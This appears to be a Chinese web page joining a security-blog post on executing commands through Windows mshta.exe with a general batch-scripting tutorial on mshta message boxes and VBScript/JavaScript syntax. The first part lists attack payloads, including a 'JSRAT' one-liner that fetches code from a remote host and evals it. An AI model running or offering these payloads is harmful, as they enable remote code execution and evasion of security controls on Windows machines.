**mshta命令用法示例**

## Exec Commands Via Mshta.exe

 发表于 2016-06-24 |  分类于 [奇技淫巧](https://evi1cg.me/categories/%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7/)

看[用“世界上最好的编程语言”制作的敲诈者木马揭秘](http://drops.wooyun.org/papers/17049" \t "_blank)的时候发现，攻击者使用mshta来执行命令，之前没怎么接触过，查了查资料也不是很多，mshta是用来执行hta文件的，经过测试发现，其实没有hta文件，也可以通过mshta来执行命令的，经过几次测试发现mshta不仅可以使用vbscript，而且可以使用javascript来执行命令，整理payload如下：

VBSCRIPT EXEC

复制

|  |  |
| --- | --- |
| 1 | mshta vbscript:CreateObject("Wscript.Shell").Run("calc.exe",0,true)(window.close) |

JAVASCRIPT EXEC

复制

|  |  |
| --- | --- |
| 1 | mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im mshta.exe",0,true);} |

JSRAT

复制

|  |  |
| --- | --- |
| 1 | mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.2.101:9998/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im mshta.exe",0,true);} |

 更新時間：2020年05月17日 19:17:57   投稿：mdxy-dxy

這篇文章主要介紹了mshta命令用法示例 ,需要的朋友可以參考下

它支援命令列參數，可以接收JS和VBS的方法。看示例（在命令列下測試）：

JS:

mshta vbscript:window.execScript("alert('hello world!');","javascript")

VBS:

mshta javascript:window.execScript("msgBox('hello world!'):window.close","vbs")

調用VBS，分別使用MSGBOX函數和POPUP方法：

|  |  |
| --- | --- |
| 1  2 | mshta vbscript:msgbox("該幹活了，夥計!",64,"提示")(window.close)  mshta vbscript:CreateObject("Wscript.Shell").popup("該幹活了，夥計！",7,"提示",64)(window.close) |

execute方法 一條語句連續彈二個資訊框：

mshta vbscript:execute("msgbox ""one BOX"":msgbox ""two BOX"":window.close")

LZ他們弄的，調用系統的英文閱讀：

mshta vbscript:createobject("sapi.spvoice").speak("Good luck")(window.close)

**下麵是其他網友的補充**

今天在一個批次處理裡看到一條命令mshta，感興趣的可以搜索一下“mshta 批次處理”

|  |  |
| --- | --- |
| 1  2  3 | echo off    start mshta javascript:if(confirm("將連接網站檢測您是否安裝了.net 2.0運行庫，是否繼續？該操作將不影響安裝程式的運行！\r\n如果您確信已安裝相應.net元件，請按取消，否則請按確定！"))window.open(" <http://www.test.com/test.aspx>");window.close(); |

在百度查詢了一下，原來mshta.exe是微軟Windows作業系統相關程式，用於執行.HTA檔，或在批次處理中結合其他語言的代碼；如：mshta javascript，可用於運行一個HTML網頁而不會出現安全警告。

**下面是摘錄內容：**

以下用js表示javascript，用vbs表示vbscript。

一般應用

代碼:

mshta //www.jb51.net

js與vbs

有時，可以在bat中調用mshta js或vbs來實現一定的功能。如彈出對話方塊：

代碼:

mshta "vbscript:msgbox("內容",0,"標題") & window.close"

但是，並非所有的js和vbs命令都能通過mshta運行，比如wscript.sleep就不能。

代碼:

rem 以下代碼是錯誤的：

mshta "vbscript:wscript.sleep(1000) & window.close"

可見，mshta調用js或vbs也是有條件的。

**基本規則**

※mshta所引用的命令必須相當於一個數值或變數。

這句話是什麼意思呢？學過vbs的朋友都知道，vbs中彈出對話方塊的命令是：

代碼:

msgbox "內容",0,"標題"

但是，如果在bat中運行mshta "msgbox "內容",0,"標題""，就會出現錯誤。這是因為msgbox "內容",0,"標題"並不相當於一個數值或變數，而是相當於一個語句。

如果還沒有理解，就請看下面的vbs：

代碼:

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7 | a=1  b=2  c=a+b  msgbox "內容"  inputbox "內容"  d=msgbox("內容")  e=inputbox("內容") |

這段代碼中，第一行1是數值，a是變數，a=1是一個設置變數a的值為1的語句。

第二行2是數值，b是變數，b=2是語句。

第三行a+b這個整體相當於數值，c是變數，c=a+b是語句。

至於第四行，情況有些變化：

"內容"是數值，msgbox "內容"這個整體是一個彈出對話方塊的的語句。

第五行，"內容"是數值，inputbox "內容"是語句。

第六行msgbox("內容")這個整體相當於數值（注意它與msgbox "內容"的區別），d是變數，d=msgbox("內容")是一個設置變數d的值為msgbox("內容")的語句。

同理，第七行inputbox("內容")相當於數值，e是變數，e=inputbox("內容")是語句。

因此，以下命令都是有效的（其中 & window.close 暫時不去理會）：

代碼:

|  |  |
| --- | --- |
| 1  2  3  4  5  6 | @echo off  mshta "vbscript:1 & window.close"  mshta "vbscript:a & window.close"  mshta "vbscript:a+b & window.close"  mshta "vbscript:msgbox("內容") & window.close"  mshta "vbscript:inputbox("內容") & window.close" |

而以下命令都是無效的：

代碼:

|  |  |
| --- | --- |
| 1  2  3 | ::以下命令都是無效的  mshta "vbscript:msgbox "內容""  mshta "vbscript:inputbox "內容"" |

現在明白了吧？

對於js，也有類似的情況，只是js中不明顯罷了。  
另外，我剛剛發現vbs中execute函數可以調用語句。很複雜，自己研究吧。

**連接多個命令**

連接多個命令時，每個命令都必須遵守上述的基本規則。

※對於js，用分號 ; 連接多個命令。

代碼:

mshta "javascript:alert('OK！');alert('1234');window.close()"

※對於vbs，用 & 連接多個命令。

代碼:

mshta "vbscript:msgbox("內容") & msgbox("1234") & window.close"

※注意&在bat中有特殊意義，所以此時mshta後面的代碼必須用引號引起來！

**window.close的作用**

試著運行下面的代碼：

代碼:

mshta "vbscript:msgbox("內容")"

你會發現，不僅彈出了需要的對話方塊，還出現了一個討厭的白框。window.close的作用就是關閉它。

**為什麼wscript.sleep不能用**

微軟最初設計mshta時是為了運行hta程式（可近似理解為HTML網頁程式），而wscript在HTML網頁上用不了（它只能在真正的js或vbs上用），所以調用mshta js或vbs時要避開它。

**利用mshta製作圖形介面**

其實，利用mshta也可以在bat中製作windows圖形介面，但在這裡就不詳細介紹了。如果有興趣請看

<http://baike.baidu.com/view/712376.htm>或[https://www.jb51.net/article/40060.htm](https://www.jb51.net/article/40060.htm" \t "_blank)。

**引用解釋:**

※mshta所引用的命令必須相當於一個數值或變數。

這個只是針對 vbscript 協議。用其他方式運行vbs語句則可以。比如 about 協議：

代碼:

mshta "about:

確切的說法應該是，用vbscript協議運行的代碼中，不能包含語句，只能是運算式和函數（此時函數其實也是運算式）。這裡的語句是vbs概念中的語句（statement），而不是普通的“一句話”的意思（sentence）。

msgbox "內容",0,"標題"，這個的確是一條語句，而不是“相當於”。

e=inputbox("內容")，在vbs腳本，它可以作為語句（設定陳述式）也可以是運算式（比較變數e與函數inputbox("內容")的返回值）。

如果用vbscript協議運行，則它只是比較運算式。

vbscript協議運行代碼可以用&連接不同的運算式，這個發現不錯。其實就是運算式連接子。

但如果要運行更複雜的語句，最好是用execute。execute也很簡單。

如alert方法，它不能直接在vbs腳本中運行，因為它是window物件的方法，而window物件是mshta、IE等html解譯器提供的，指令碼裝載WSH並沒有提供。除非在vbs創建這樣的物件，比如InternetExplorer.Application。

mshta運行js語句沒有那樣的限制。超版都說了，只是 vbscript 協議有此限制。看來vbs到底是比js要差一點。

比如下面，var a=1就是明顯的設定陳述式，alert方法與close方法也可以看作語句。

代碼:

mshta "javascript:var a=1; alert(a); close();"

不是CreateObject("WScript.Shell")，而是createObject("Microsoft.XMLHTTP")。

我一直想做一個mshta實現檔下載，但總有些問題。

Microsoft.XMLHTTP 元件自身的問題，禁止跨域操作。

以上就是mshta命令用法示例的詳細內容，更多關於mshta命令用法的資料請關注腳本之家其它相關文章！